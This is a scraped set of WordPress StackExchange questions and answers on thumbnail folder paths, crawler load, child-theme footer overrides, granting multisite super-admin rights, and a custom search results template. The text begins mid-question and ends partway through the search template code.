<p>Now the <code>$slug</code> is passed to <code>generate_filename()</code> but the thumbnails are all generated in uploads folder, overwriting each other. How can i do this?</p>
<p>I'm clueless here, any help is appreciated.</p>
| [
{
"answer_id": 255941,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<p>A code sample explaining its use case will be more helpful.\nNot sure how you're going to use it, but t... | 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255462",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94498/"
] | I’ve been writing some class and functions to modify the path of thumbnails. I extended the original `WP_Image_Editor` class to achieve custom structure.
**What i want:** to store the thumbnails in different folders based on their slugs, in the upload directory. such as : `http://example.com/uploads/medium/image.jpg`
**What i have already done:**
```
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
```
When i upload the image, the thumbnails are created properly, however the filenames are not. The `$slug` value is not passed from `multi_resize()` to generate\_filename.
I tried to write the `multi_resize()` function as below:
```
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
global $current_size_slug;
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = ABSPATH."/media/";
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
$slug = $current_size_slug;
return trailingslashit($dir)."{$slug}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
$current_size_slug = $slug;
return $sizes;
}
}
```
Now the `$slug` is passed to `generate_filename()` but the thumbnails are all generated in uploads folder, overwriting each other. How can i do this?
I'm clueless here, any help is appreciated. | Try adding this to functions.php:
```
add_filter("wp_image_editors", "my_wp_image_editors");
function my_wp_image_editors($editors) {
array_unshift($editors, "WP_Image_Editor_Custom");
return $editors;
}
// Include the existing classes first in order to extend them.
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode, we could have used the properties of $this->file[height] but the suffix could have been provided
$size_from_suffix = explode("x", $suffix);
//we get the slug_name for this dimension
$slug_name = $this->get_slug_by_size($size_from_suffix[0], $size_from_suffix[1]);
return trailingslashit($dir) . "{$slug_name}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//we add the slug to the file path
foreach ($sizes as $slug => $data) {
$sizes[$slug]['file'] = $slug . "/" . $data['file'];
}
return $sizes;
}
function get_slug_by_size($width, $height) {
// Make thumbnails and other intermediate sizes.
$_wp_additional_image_sizes = wp_get_additional_image_sizes();
$image_sizes = array(); //all sizes the default ones and the custom ones in one array
foreach (get_intermediate_image_sizes() as $s) {
$image_sizes[$s] = array('width' => '', 'height' => '', 'crop' => false);
if (isset($_wp_additional_image_sizes[$s]['width'])) {
// For theme-added sizes
$image_sizes[$s]['width'] = intval($_wp_additional_image_sizes[$s]['width']);
} else {
// For default sizes set in options
$image_sizes[$s]['width'] = get_option("{$s}_size_w");
}
if (isset($_wp_additional_image_sizes[$s]['height'])) {
// For theme-added sizes
$image_sizes[$s]['height'] = intval($_wp_additional_image_sizes[$s]['height']);
} else {
// For default sizes set in options
$image_sizes[$s]['height'] = get_option("{$s}_size_h");
}
if (isset($_wp_additional_image_sizes[$s]['crop'])) {
// For theme-added sizes
$image_sizes[$s]['crop'] = $_wp_additional_image_sizes[$s]['crop'];
} else {
// For default sizes set in options
$image_sizes[$s]['crop'] = get_option("{$s}_crop");
}
}
$slug_name = ""; //the slug name
if($width >= $height){
foreach ($image_sizes as $slug => $data) { //we start checking
if ($data['width'] == $width) {//we use only width because regardless of the height, the width is the one used for resizing in all cases with crop 1 or 0
$slug_name = $slug;
}
/*
* There could be custom added image sizes that have the same width as one of the defaults so we also use height here
* if there are several image sizes with the same width all of them will override the previous one leaving the last one, here we get also the last one
* since is looping the entire list, the height is used as a max value for non-hard cropped sizes
* */
if ($data['width'] == $width && $data['height'] == $height) {
$slug_name = $slug;
}
}
}else{
foreach ($image_sizes as $slug => $data) {
if ($data['height'] == $height) {
$slug_name = $slug;
}
if ($data['height'] == $height && $data['width'] == $width ) {
$slug_name = $slug;
}
}
}
return $slug_name;
}
}
```
i know you already know almost all of this code, notice that the `generate_filename` function has been updated to the current one, you will be more interested in the `get_slug_by_size` function which is the key part that you were missing.
This is also working with custom image sizes, as can be seen here:
[](https://i.stack.imgur.com/lP8yN.png)
`home-bottom` is a image size i added. Right now wordpress has 4 different default image sizes:
```
Array
(
[thumbnail] => Array // Thumbnail (150 x 150 hard cropped)
(
[width] => 150
[height] => 150
[crop] => 1
)
[medium] => Array // Medium resolution (300 x 300 max height 300px)
(
[width] => 300
[height] => 300
[crop] =>
)
[medium_large] => Array //Medium Large (added in WP 4.4) resolution (768 x 0 infinite height)
(
[width] => 768
[height] => 0
[crop] =>
)
[large] => Array // Large resolution (1024 x 1024 max height 1024px)
(
[width] => 1024
[height] => 1024
[crop] =>
)
)
// Full resolution (original size uploaded) this one is not in the array.
```
if you upload an image of `width 310` only `thumbnail` and `medium` images would be created WordPress will not create bigger ones, so with the code above, only 2 folders will be created. |
255,468 | <p>I just realized that crawlers like google are triggering massive activity from all add_action binded to 'init'.</p>
<p>Is this normal behaviour? Is it possible to trigger 'init' only for legit visitors?</p>
| [
{
"answer_id": 255469,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>Short answer to both your questions is : Yes.</p>\n\n<ul>\n<li>A google crawler bot is supposed to crawl ev... | 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255468",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27278/"
] | I just realized that crawlers like google are triggering massive activity from all add\_action binded to 'init'.
Is this normal behaviour? Is it possible to trigger 'init' only for legit visitors? | Just added this to functions.php:
```
// Returns TRUE if it's a crawler
function check_is_crawler() {
if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|wget|crawl|google|slurp|spider/i', $_SERVER['HTTP_USER_AGENT'])) {
return true;
} else {
return false;
}
}
```
And I'm using it on critical functions to lower resource usage.
Also, created a robots.txt with the following content:
```
User-agent: *
Crawl-delay: 10
```
It puts a halt on crawlers, so they don't "spam" your website and consume all your resources
>
> Be warned ! However, google does not like this AT ALL. When accessing your page, if google notices different behavior for crawlers and visitors from your website, it will possibly consider your website as spam.
>
>
>
Thanks for the tip @Jack Johansson, I'll use it only on internal functions. It's an ads website, and there's a lot of things going under the hood that don't output to the user. |
255,478 | <p>I would like to include some css to highlight some text in post</p>
<p>like</p>
<pre><code> <span class="highlight">mark word</span>
</code></pre>
<p>where should i define highlight so that i can use it.</p>
| [
{
"answer_id": 255479,
"author": "Marc-Antoine Parent",
"author_id": 110578,
"author_profile": "https://wordpress.stackexchange.com/users/110578",
"pm_score": 1,
"selected": false,
"text": "<p>The easiest way in most recent themes is to use the Custom CSS from the Theme Customizer. If it... | 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255478",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/68286/"
] | I would like to include some css to highlight some text in post
like
```
<span class="highlight">mark word</span>
```
where should i define highlight so that i can use it. | The easiest way in most recent themes is to use the Custom CSS from the Theme Customizer. If it is enabled in your theme, you can access it through: `Appearance -> Customize`.
If it's not enabled, you should first refer to your theme's documentation. Is it a free or bought theme? |
255,502 | <p>I'm having a hard time trying to override my parent theme's <code>footer.php</code>, <code>footer-set.php</code> and <code>footer-tag.php</code> from my child theme.</p>
<p>I have just tried to copy-paste and modify them. No success. Maybe they are being read but probably later on, the ones from the parent prevail.</p>
<p>I have also tried to request them from the <code>functions.php</code> in the child theme with no luck: </p>
<pre><code><?php
function my_theme_enqueue_styles() {
$parent_style = 'parent-style'; // This is 'twentyfifteen-style' for the Twenty Fifteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
require_once get_stylesheet_directory() . '/footer.php';
require_once get_stylesheet_directory() . '/footer-set.php';
require_once get_stylesheet_directory() . '/footer-tag.php';
/*include( get_stylesheet_directory() . '../footer.php' );
include( get_stylesheet_directory() . '../footer-set.php' );
include( get_stylesheet_directory() . '../footer-tag.php' ); */
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
?>
</code></pre>
<p>The child theme is active and it works. I know this because the style.css works - it has effect. Also if i write something wrong in the functions.php in the child folder, it would throw an error. So it parses the functions.php fom the child theme.</p>
<p>I presume I have to de-register the <code>footer.php</code> somewhere/somehow, but I have no idea where and how to.</p>
<p>This is my parent's theme structure, and these 3 are the files I am trying to override.</p>
<p><a href="https://i.stack.imgur.com/JCGro.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/JCGro.jpg" alt="enter image description here"></a></p>
<p>And this is what i added in the child theme:</p>
<p><a href="https://i.stack.imgur.com/Y1p2s.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Y1p2s.jpg" alt="enter image description here"></a></p>
<p>As more info in case it would be useful, this is how the footer.php looks like:</p>
<pre><code><?php if ( tt_is_sidebar_active('footer_widget_area') ) { ?>
<section id="footer-widgets" class="clear">
<ul class="content-block xoxo">
<?php dynamic_sidebar('footer_widget_area'); ?>
</ul>
</section>
<?php } ?>
</section>
<?php global $template_url;?>
<footer id="footer">
<section class="content-block" style="margin-bottom:0;">
<p class="copyright left">&copy; <?php echo date('Y');?> Queen Latifah Weight Loss</a>
| Theme By <a href="http://allinonetheme.com" title="All In One Theme" rel="nofollow">All In One Theme</a></p>
<ul id="footer-nav" class="right">
<li><a href="<?php bloginfo('url');?>" title="Visit HomePage">Home</a></li>
<?php //About Us Page
$footer_item = get_option('tt_footer_about');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>">About</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Terms Of Service Page
$footer_item = get_option('tt_footer_tos');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Terms Of Service</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Privacy Policy Page
$footer_item = get_option('tt_footer_privacy');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Privacy Policy</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Contact Us Page
$footer_item = get_option('tt_footer_contact');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Contact</a></li>
<?php
}
unset($footer_item); unset($page);
?> <li><a href="http://www.queenlatifahweightloss.com/resources/" title="Resources" rel="nofollow">Resources</a></li>
</ul>
</section>
</footer>
<?php wp_footer();?>
</body>
</html>
</code></pre>
<p>I also have this in functions.php:</p>
<pre><code>//Get Theme Specific Footer
function tt_get_footer() {
$footer = get_option('tt_footer_layout');
if($footer == 'tag') {
include('footer-tag.php');
} else if ($footer == 'set') {
include('footer-set.php');
} else if ($footer == 'custom' || $footer == 'no') {
include('footer.php');
}
}
</code></pre>
<p>At the end of index.php I have:</p>
<pre><code><?php tt_get_footer(); ?>
</code></pre>
| [
{
"answer_id": 255519,
"author": "Tom Withers",
"author_id": 85362,
"author_profile": "https://wordpress.stackexchange.com/users/85362",
"pm_score": 0,
"selected": false,
"text": "<p>Quickly looking over this as work...</p>\n\n<p>But add:</p>\n\n<pre><code><?php get_footer(); ?>\n<... | 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255502",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112732/"
] | I'm having a hard time trying to override my parent theme's `footer.php`, `footer-set.php` and `footer-tag.php` from my child theme.
I have just tried to copy-paste and modify them. No success. Maybe they are being read but probably later on, the ones from the parent prevail.
I have also tried to request them from the `functions.php` in the child theme with no luck:
```
<?php
function my_theme_enqueue_styles() {
$parent_style = 'parent-style'; // This is 'twentyfifteen-style' for the Twenty Fifteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
require_once get_stylesheet_directory() . '/footer.php';
require_once get_stylesheet_directory() . '/footer-set.php';
require_once get_stylesheet_directory() . '/footer-tag.php';
/*include( get_stylesheet_directory() . '../footer.php' );
include( get_stylesheet_directory() . '../footer-set.php' );
include( get_stylesheet_directory() . '../footer-tag.php' ); */
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
?>
```
The child theme is active and it works. I know this because the style.css works - it has effect. Also if i write something wrong in the functions.php in the child folder, it would throw an error. So it parses the functions.php fom the child theme.
I presume I have to de-register the `footer.php` somewhere/somehow, but I have no idea where and how to.
This is my parent's theme structure, and these 3 are the files I am trying to override.
[](https://i.stack.imgur.com/JCGro.jpg)
And this is what i added in the child theme:
[](https://i.stack.imgur.com/Y1p2s.jpg)
As more info in case it would be useful, this is how the footer.php looks like:
```
<?php if ( tt_is_sidebar_active('footer_widget_area') ) { ?>
<section id="footer-widgets" class="clear">
<ul class="content-block xoxo">
<?php dynamic_sidebar('footer_widget_area'); ?>
</ul>
</section>
<?php } ?>
</section>
<?php global $template_url;?>
<footer id="footer">
<section class="content-block" style="margin-bottom:0;">
<p class="copyright left">© <?php echo date('Y');?> Queen Latifah Weight Loss</a>
| Theme By <a href="http://allinonetheme.com" title="All In One Theme" rel="nofollow">All In One Theme</a></p>
<ul id="footer-nav" class="right">
<li><a href="<?php bloginfo('url');?>" title="Visit HomePage">Home</a></li>
<?php //About Us Page
$footer_item = get_option('tt_footer_about');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>">About</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Terms Of Service Page
$footer_item = get_option('tt_footer_tos');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Terms Of Service</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Privacy Policy Page
$footer_item = get_option('tt_footer_privacy');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Privacy Policy</a></li>
<?php
}
unset($footer_item); unset($page);
?>
<?php //Contact Us Page
$footer_item = get_option('tt_footer_contact');
if($footer_item && $footer_item != '' && is_numeric($footer_item)) {
$page = get_page($footer_item);
?>
<li><a href="<?php echo get_permalink($footer_item);?>" title="<?php echo $page->post_title; ?>" rel="nofollow">Contact</a></li>
<?php
}
unset($footer_item); unset($page);
?> <li><a href="http://www.queenlatifahweightloss.com/resources/" title="Resources" rel="nofollow">Resources</a></li>
</ul>
</section>
</footer>
<?php wp_footer();?>
</body>
</html>
```
I also have this in functions.php:
```
//Get Theme Specific Footer
function tt_get_footer() {
$footer = get_option('tt_footer_layout');
if($footer == 'tag') {
include('footer-tag.php');
} else if ($footer == 'set') {
include('footer-set.php');
} else if ($footer == 'custom' || $footer == 'no') {
include('footer.php');
}
}
```
At the end of index.php I have:
```
<?php tt_get_footer(); ?>
``` | My friend, just take a look at their codex here <https://codex.wordpress.org/Function_Reference/get_footer> and you will know how. In your case, no need to add these
```
require_once get_stylesheet_directory() . '/footer.php';
require_once get_stylesheet_directory() . '/footer-set.php';
require_once get_stylesheet_directory() . '/footer-tag.php';
```
You only need to repair your `tt_get_footer` like this
```
//Get Theme Specific Footer
function tt_get_footer() {
$footer = get_option('tt_footer_layout');
if($footer == 'tag') {
get_footer('tag');
} else if ($footer == 'set') {
get_footer('set');
} else {
get_footer(); // This one will use footer.php
}
}
```
Then you will get your child theme footer overriding |
255,578 | <p>On my blog, for some reason, one of the category pages refuses to load new posts even when I clear all my caches. I'm using <code>WP Super Cache</code> (W3 Total Cache broke my site), <code>Autoptimize</code> and <code>Cloudflare</code> for caching.</p>
<p>I doubt the code is the problem since the other category pages are working just fine.</p>
<pre><code>$query= new WP_Query(array(
'offset' => 1,
'cat' => $cat_ID
));
if ( $query->have_posts() ) while ( $query->have_posts() ) : $query->the_post();
get_template_part('content', get_post_format()); // loaded from content.php
endwhile;
</code></pre>
<p>What could be the cause of this?</p>
| [
{
"answer_id": 255567,
"author": "Chapman Atwell",
"author_id": 101432,
"author_profile": "https://wordpress.stackexchange.com/users/101432",
"pm_score": 1,
"selected": false,
"text": "<p>One quick fix seems to be to simply hardcode the URL in the <code>wp-config.php</code> file. Followi... | 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255578",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/104460/"
] | On my blog, for some reason, one of the category pages refuses to load new posts even when I clear all my caches. I'm using `WP Super Cache` (W3 Total Cache broke my site), `Autoptimize` and `Cloudflare` for caching.
I doubt the code is the problem since the other category pages are working just fine.
```
$query= new WP_Query(array(
'offset' => 1,
'cat' => $cat_ID
));
if ( $query->have_posts() ) while ( $query->have_posts() ) : $query->the_post();
get_template_part('content', get_post_format()); // loaded from content.php
endwhile;
```
What could be the cause of this? | I normally just map my hosts file to the correct IP. This would work if you were only wanting to work on a site from your box only.
Only benefit to this option, as opposed to others, is that you wouldn't need to change any of your Wordpress settings to go live. |
255,594 | <p>I took over an existing multisite network and I don't have the privileges to promote anyone to network admin through the WP Admin UI directly. How can I promote my site administrator to network admin via MySQL and/or WP CLI?</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. S... | 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255594",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/83423/"
] | I took over an existing multisite network and I don't have the privileges to promote anyone to network admin through the WP Admin UI directly. How can I promote my site administrator to network admin via MySQL and/or WP CLI? | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', 'test@yourdomain.com', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,625 | <p>I'm creating a website that has search feature. I am wondering what should i do in order to make the search box works like <code>search everything</code>. The search term that visitor inserted may be hitting the tag name of the post, category of the post, content inside post or title of the post. As long as there is a word within the post hit by search term, the result will show. I'm not going to use plugin, or to add radio button to my search form. I tried to search around but failed. Any suggestion and solution? </p>
<pre><code><!DOCTYPE html>
<html>
<?php get_header(); ?>
<body>
<?php $q1 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
's' => get_search_query()
)
);
$q2 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
'tax_query' => array(
//your query
)
)
);
$merged = array_merge($q1, $q2);
?>
<?php echo wp_specialchars($s); ?><br/>
<?php the_search_query(); ?><br/>
<?php the_search_query(); ?>
<br/>
<article>
<p>You have searched for "<?php echo wp_specialchars($s); ?>". We found <?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFounds">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( 'no company' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '%d related company' ), $count );
}
else {
$text .= sprintf(__( '%d related companies' ), $count );
}
$text .= '</span>';
echo $text;
?> with the keyword you searched for. If the results are not what you expected, we suggest you to try for different keywords which related to the company.</p>
<?php if (have_posts()) : ?>
<h2>Keywords : <?php echo wp_specialchars($s); ?><?php
/* Search Count */
$count = $wp_query->found_posts;
$text = '<span class="resultsFound">';
if ( $count <= 0 ) {
$text .= sprintf(__( '( no company )' ), $count );
}
elseif ( $count <= 1 ) {
$text .= sprintf(__( '( %d company )' ), $count );
}
else {
$text .= sprintf(__( '( %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<?php include("adsRandom.php"); ?>
<?php include("boostBiz/bizAds.php"); ?>
<?php while (have_posts()) : the_post(); ?>
<div class="ncc <?php the_ID(); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> new<?php endif; ?><?php if (is_sticky()) { ?> sponsored<?php } ?>" <?php if (is_sticky()) { ?>title="Our Advertiser"<?php } ?>>
<h3 class="excerpt"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php search_title_highlight(); ?></a></h3>
<?php search_excerpt_highlight(); ?>
<p class="excerptInfo"><?php printf( __( 'Listed in %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?> |<?php
$tags_list = get_the_tag_list( '', ', ' );
if ( $tags_list );
?>
<?php printf( __( ' Located In: %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> | Published <?php echo get_the_date(); ?><?php endif; ?></p>
</div><!--ncc <?php the_ID(); ?>-->
<?php endwhile; ?>
<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
<?php else : ?>
<h2><?php _e('Keywords : ','NCC'); ?><?php echo wp_specialchars($s); ?><?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFound">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( '( Nothing Found )' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '( We found %d company )' ), $count );
}
else {
$text .= sprintf(__( '( We found %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<article class="nccSingle">
<p>Your search - "<b><?php echo wp_specialchars($s); ?></b>" - did not match any documents. Possibly, there is no company listed with this keyword. Or, the inserted keyword was wrong in spelling?</p>
<p><b>Suggestions:</b></p>
<ul>
<li>Make sure all words are spelled correctly.</li>
<li>Try different keywords.</li>
<li>Try more general keywords.</li>
</ul>
</article>
<?php endif; ?>
</body>
</html>
</code></pre>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. S... | 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255625",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/23036/"
] | I'm creating a website that has search feature. I am wondering what should i do in order to make the search box works like `search everything`. The search term that visitor inserted may be hitting the tag name of the post, category of the post, content inside post or title of the post. As long as there is a word within the post hit by search term, the result will show. I'm not going to use plugin, or to add radio button to my search form. I tried to search around but failed. Any suggestion and solution?
```
<!DOCTYPE html>
<html>
<?php get_header(); ?>
<body>
<?php $q1 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
's' => get_search_query()
)
);
$q2 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
'tax_query' => array(
//your query
)
)
);
$merged = array_merge($q1, $q2);
?>
<?php echo wp_specialchars($s); ?><br/>
<?php the_search_query(); ?><br/>
<?php the_search_query(); ?>
<br/>
<article>
<p>You have searched for "<?php echo wp_specialchars($s); ?>". We found <?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFounds">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( 'no company' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '%d related company' ), $count );
}
else {
$text .= sprintf(__( '%d related companies' ), $count );
}
$text .= '</span>';
echo $text;
?> with the keyword you searched for. If the results are not what you expected, we suggest you to try for different keywords which related to the company.</p>
<?php if (have_posts()) : ?>
<h2>Keywords : <?php echo wp_specialchars($s); ?><?php
/* Search Count */
$count = $wp_query->found_posts;
$text = '<span class="resultsFound">';
if ( $count <= 0 ) {
$text .= sprintf(__( '( no company )' ), $count );
}
elseif ( $count <= 1 ) {
$text .= sprintf(__( '( %d company )' ), $count );
}
else {
$text .= sprintf(__( '( %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<?php include("adsRandom.php"); ?>
<?php include("boostBiz/bizAds.php"); ?>
<?php while (have_posts()) : the_post(); ?>
<div class="ncc <?php the_ID(); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> new<?php endif; ?><?php if (is_sticky()) { ?> sponsored<?php } ?>" <?php if (is_sticky()) { ?>title="Our Advertiser"<?php } ?>>
<h3 class="excerpt"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php search_title_highlight(); ?></a></h3>
<?php search_excerpt_highlight(); ?>
<p class="excerptInfo"><?php printf( __( 'Listed in %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?> |<?php
$tags_list = get_the_tag_list( '', ', ' );
if ( $tags_list );
?>
<?php printf( __( ' Located In: %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> | Published <?php echo get_the_date(); ?><?php endif; ?></p>
</div><!--ncc <?php the_ID(); ?>-->
<?php endwhile; ?>
<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
<?php else : ?>
<h2><?php _e('Keywords : ','NCC'); ?><?php echo wp_specialchars($s); ?><?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFound">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( '( Nothing Found )' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '( We found %d company )' ), $count );
}
else {
$text .= sprintf(__( '( We found %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<article class="nccSingle">
<p>Your search - "<b><?php echo wp_specialchars($s); ?></b>" - did not match any documents. Possibly, there is no company listed with this keyword. Or, the inserted keyword was wrong in spelling?</p>
<p><b>Suggestions:</b></p>
